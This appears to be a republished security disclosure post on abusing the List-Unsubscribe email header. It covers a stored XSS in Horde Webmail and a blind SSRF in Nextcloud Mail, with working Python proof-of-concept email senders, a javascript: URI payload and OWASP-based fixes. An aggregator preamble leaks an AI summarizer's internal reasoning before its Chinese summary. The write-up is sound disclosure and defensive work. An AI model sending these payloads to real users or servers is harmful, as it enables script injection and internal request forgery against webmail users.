Turning List-Unsubscribe into an SSRF/XSS Gadget
好的,我现在需要帮用户总结这篇文章的内容。用户的要求是用中文总结,控制在100字以内,不需要特定的开头,直接写描述即可。 首先,我通读了整篇文章。文章主要讨论了List-Unsubscribe SMTP头在安全评估中常被忽视的问题。这个头允许邮件客户端让用户轻松取消订阅邮件列表。作者指出,这个功能可能被滥用,导致XSS和SSRF攻击。 接下来,文章提供了两个实际案例:Horde Webmail中的Stored XSS漏洞(CVE-2025-68673)和Nextcloud Mail App中的Blind SSRF漏洞。这两个例子展示了攻击者如何利用List-Unsubscribe头进行恶意活动。 然后,作者给出了推荐措施,包括对URI进行验证和过滤,防止XSS和SSRF攻击,并建议记录取消订阅请求以便审计。 最后,结论部分强调了即使看似无害的功能也可能带来安全风险,特别是在现代应用中。 总结起来,文章内容可以分为几个关键点:List-Unsubscribe头的潜在风险、两个实际案例、推荐的安全措施以及结论。我需要将这些要点浓缩到100字以内。 考虑到用户的要求是直接描述内容,不需要特定的开头词。因此,我应该简洁明了地表达主要信息:List-Unsubscribe头可能被用于XSS和SSRF攻击,并举例说明Horde和Nextcloud的情况,并给出安全建议。 现在开始组织语言: “文章探讨了List-Unsubscribe SMTP头在安全评估中常被忽视的问题,并指出其可能被用于XSS和SSRF攻击。通过Horde Webmail中的Stored XSS漏洞(CVE-2025-68673)和Nextcloud Mail App中的Blind SSRF漏洞等案例展示了潜在风险,并建议对URI进行验证和过滤以防止攻击。” 这样大约是94个字左右,符合要求。 </think> 文章探讨了List-Unsubscribe SMTP头在安全评估中常被忽视的问题,并指出其可能被用于XSS和SSRF攻击。通过Horde Webmail中的Stored XSS漏洞(CVE-2025-68673)和Nextcloud Mail App中的Blind SSRF漏洞等案例展示了潜在风险,并建议对URI进行验证和过滤以防止攻击。 2025-12-23 06:1:4 Author: security.lauritz-holtmann.de(查看原文) 阅读量:5 收藏

The List-Unsubscribe SMTP header is standardized but often overlooked during security assessments. It allows email clients to provide an easy way for end-users to unsubscribe from mailing lists.

This post discusses how this header can be abused to perform Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) attacks in certain scenarios. Real-world examples involving Horde Webmail (CVE-2025-68673) and Nextcloud Mail App are provided to illustrate the risks.


Table of Contents

  1. Foundations
  2. Stored XSS via JavaScript URI: Horde Webmail
  3. Blind SSRF: Nextcloud Mail App
  4. Recommendations
  5. Conclusion

Foundations

The List-Unsubscribe SMTP header is defined in RFC 23691 and allows email clients to provide an easy way for end-users to unsubscribe from mailing lists.

The following examples were taken from RFC 2369, section 3.2:

The List-Unsubscribe field describes the command (preferably using mail) to directly unsubscribe the user (removing them from the list).

Examples:

  List-Unsubscribe: <mailto:[email protected]?subject=unsubscribe>
  List-Unsubscribe: (Use this command to get off the list)
    <mailto:[email protected]?body=unsubscribe%20list>
  List-Unsubscribe: <mailto:[email protected]>
  List-Unsubscribe: <http://www.host.com/list.cgi?cmd=unsub&lst=list>,
    <mailto:[email protected]?subject=unsubscribe>

In theory, that’s it. Does not sound too exciting for now, right?

Easy to miss, but the most interesting example was the very last one, which includes both an HTTP URI and a mailto link. Can we simply add arbitrary http(s):// URIs here? What about other schemes?

Many modern email clients and webmail applications have implemented support for this header to improve user experience. For example, when an email includes a List-Unsubscribe header, the client may render a button or link that allows the user to unsubscribe with a single click. This is especially interesting in the context of webmail applications, where the unsubscription process can be initiated directly from the web interface. Anchor tags, URIs, … JavaScript URIs? The possibilities are endless.

Alternatively, some webmail applications send the unsubscription request server-side when the end-user clicks the unsubscribe button. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities if the application does not properly validate the provided URI.

Stored XSS via JavaScript URI: Horde Webmail (CVE-2025-68673)

A real-world example of a Stored Cross-Site Scripting (XSS) vulnerability was identified in Horde (Imp H5 v6.2.27, used with Horde Framework through 5.2.23). When an email includes a List-Unsubscribe SMTP header, a button is rendered within the message detail view that allows users to unsubscribe directly from mailing lists.

A malicious actor can exploit this behavior by including a JavaScript URI (javascript:), which allows them to execute JavaScript in the origin of the Horde installation when an end-user clicks the link:

<table class="horde-table mailinglistinfo">
 <tbody>
  <tr>
   <td>Unsubscribe</td>
   <td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
  </tr>
 </tbody>
</table>

The following steps can be taken to reproduce the issue:

  1. Send an email that includes the JavaScript URI <javascript://lhq.at/%0aconfirm(document.domain)> within the List-Unsubscribe. Adjust smtp_user and smtp_password as needed:
#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage

def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None):
    try:
        # Create the email message
        msg = EmailMessage()
        msg.set_content(body)
        msg['From'] = sender
        msg['To'] = recipient
        msg['Subject'] = subject

        # Add custom headers if provided
        if headers:
            for header, value in headers.items():
                msg[header] = value

        # Connect to the SMTP server and send the email
        with smtplib.SMTP(smtp_server, smtp_port) as server:
            print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
            server.starttls()
            print("Starting TLS encryption")
            server.login(smtp_user, smtp_password)
            print(f"Logged in as {smtp_user}")
            server.send_message(msg)
            print(f"Email sent to {recipient} successfully.")
    except Exception as e:
        print(f"Failed to send email: {e}")

if __name__ == "__main__":
    smtp_server = 'mail.your-server.de'
    smtp_port = 587
    smtp_user = '[REDACTED]'
    smtp_password = '[REDACTED]'
    sender = '[email protected]'
    recipient = '[email protected]'
    subject = 'Test Mail'
    body = """
Hey!
    """
    headers = {
        'List-Unsubscribe': '<javascript://lhq.at/%0aconfirm(document.domain)>',
        'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
    }

    send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers)
  1. Navigate to Message Detail view (pop-up): https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]

  2. Click “List Info”: https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]

  3. Notice that the unsubscribe link at https://[REDACTED]/imp/basic.php?page=listinfo&u=[REDACTED]&buid=10&mailbox=SU5CT1g&uniq=[REDACTED] includes the JavaScript URI:

    <table class="horde-table mailinglistinfo">
     <tbody>
      <tr>
       <td>Unsubscribe</td>
       <td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
      </tr>
     </tbody>
    </table>
    
  4. Click the link and observe the JavaScript evaluation. Because target="_blank" is used, you need to either:

  • Ctrl + click the link
  • Use the middle button of your mouse to click the link
  • Right-click and choose “Open in new tab”

This was reported to [email protected] on 2024-12-18 but was not yet acknowledged as of 2025-12-18.

Blind SSRF: Nextcloud Mail App

Nextcloud’s Mail app supports the List-Unsubscribe SMTP header to unsubscribe from mailing lists:

List-Unsubscribe Header

When the end-user unsubscribes, the Nextcloud instance issues a server-side request:

Ping Back

During my research, it looked like Nextcloud would allow forging SSRF requests via the List-Unsubscribe header to arbitrary internal destinations. However, this seems to be possible only if the development configuration flag 'allow_local_remote_servers' => true is set or other supporting factors are present that allow exploitation. This is based on Nextcloud’s evaluation in hackerone.com/reports/2902856.

Note that to enable unsubscription via HTTPS, a valid DKIM signature is required. The following Python script expects that you have DKIM set up and have your private key at hand: send.py

#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage
import dkim

def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None, dkim_selector=None, dkim_domain=None, dkim_private_key=None):
    try:
        # Create the email message
        msg = EmailMessage()
        msg.set_content(body)
        msg['From'] = sender
        msg['To'] = recipient
        msg['Subject'] = subject

        # Add custom headers if provided
        if headers:
            for header, value in headers.items():
                msg[header] = value

        # Convert the EmailMessage to bytes for DKIM signing
        email_bytes = msg.as_bytes()

        # Add DKIM signature if provided
        if dkim_selector and dkim_domain and dkim_private_key:
            dkim_header = dkim.sign(
                message=email_bytes,
                selector=dkim_selector.encode(),
                domain=dkim_domain.encode(),
                privkey=dkim_private_key.encode(),
                include_headers=['From', 'To', 'Subject']
            )
            msg['DKIM-Signature'] = dkim_header[len('DKIM-Signature: '):].decode().replace("\n", "").replace("\r", "")

        # Connect to the SMTP server and send the email
        with smtplib.SMTP(smtp_server, smtp_port) as server:
            print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
            server.starttls() 
            print("Starting TLS encryption")
            server.login(smtp_user, smtp_password)
            print(f"Logged in as {smtp_user}")
            server.send_message(msg)
            print(f"Email sent to {recipient} successfully.")
    except Exception as e:
        print(f"Failed to send email: {e}")

# Example usage
if __name__ == "__main__":
    smtp_server = 'mail.your-server.de'
    smtp_port = 587
    smtp_user = '[REDACTED]'
    smtp_password = '[REDACTED]'
    sender = '[email protected]'
    recipient = '[email protected]'
    subject = '[Your Mailing List] Test Mail'
    body = """
<s>Test123!
    """
    headers = {
        'List-Unsubscribe': '<http://abcdef.oastify.com>',
        'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
    }
    dkim_selector = 'default'
    dkim_domain = 'lhq.at'
    dkim_private_key = """-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----"""

    send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers, dkim_selector, dkim_domain, dkim_private_key)

The following steps can be taken to reproduce the SSRF with external collaborator:

  1. Set up DKIM for your domain and update dkim_selector, dkim_domain and dkim_private_key.
  2. Adjust smtp_user and smtp_password.
  3. Use the account you will use within the Nextcloud instance as the recipient.
  4. Use your own collaborator instance in 'List-Unsubscribe': '<http://abcdef.oastify.com>'.
  5. Send the email via python send.py.
  6. Browse the received email and click “unsubscribe”.

Recommendations

The general recommendation is as simple and self-explanatory as it gets: Consider all input to the application as potentially dangerous, especially when interpreted as a URI/URL.

When implementing support for the List-Unsubscribe SMTP header, webmail applications should:

  • Validate and sanitize the provided URIs to prevent XSS attacks. For example, disallow javascript: URIs. For further guidance, refer to OWASP XSS Prevention Cheat Sheet2.
  • Implement proper server-side validation to prevent SSRF attacks. This may include restricting the allowed domains or IP ranges that can be accessed via the unsubscription links. For further guidance, refer to OWASP SSRF Prevention Cheat Sheet3.
  • Log unsubscription requests for auditing and monitoring purposes.

Conclusion

This post once again showcases that old standards and protocols can still harbor interesting security implications when implemented in modern applications. The List-Unsubscribe SMTP header, while designed to enhance user experience, can be exploited for XSS and SSRF attacks if not handled properly.

If your bug bounty or pentest target includes a webmail application, consider testing the List-Unsubscribe header for potential vulnerabilities. You might be surprised by what you find!

Generally speaking, this research highlights the importance of reading and understanding relevant RFCs and standards when assessing applications that implement them. Even seemingly benign features can introduce significant security risks if not implemented with care.


If you have any feedback, feel free to reach out via BlueSky, Mastodon, Twitter or LinkedIn. 👨‍💻

You can directly tweet about this post using this link. 🤓


文章来源: https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/
如有侵权请联系:admin#unsafe.sh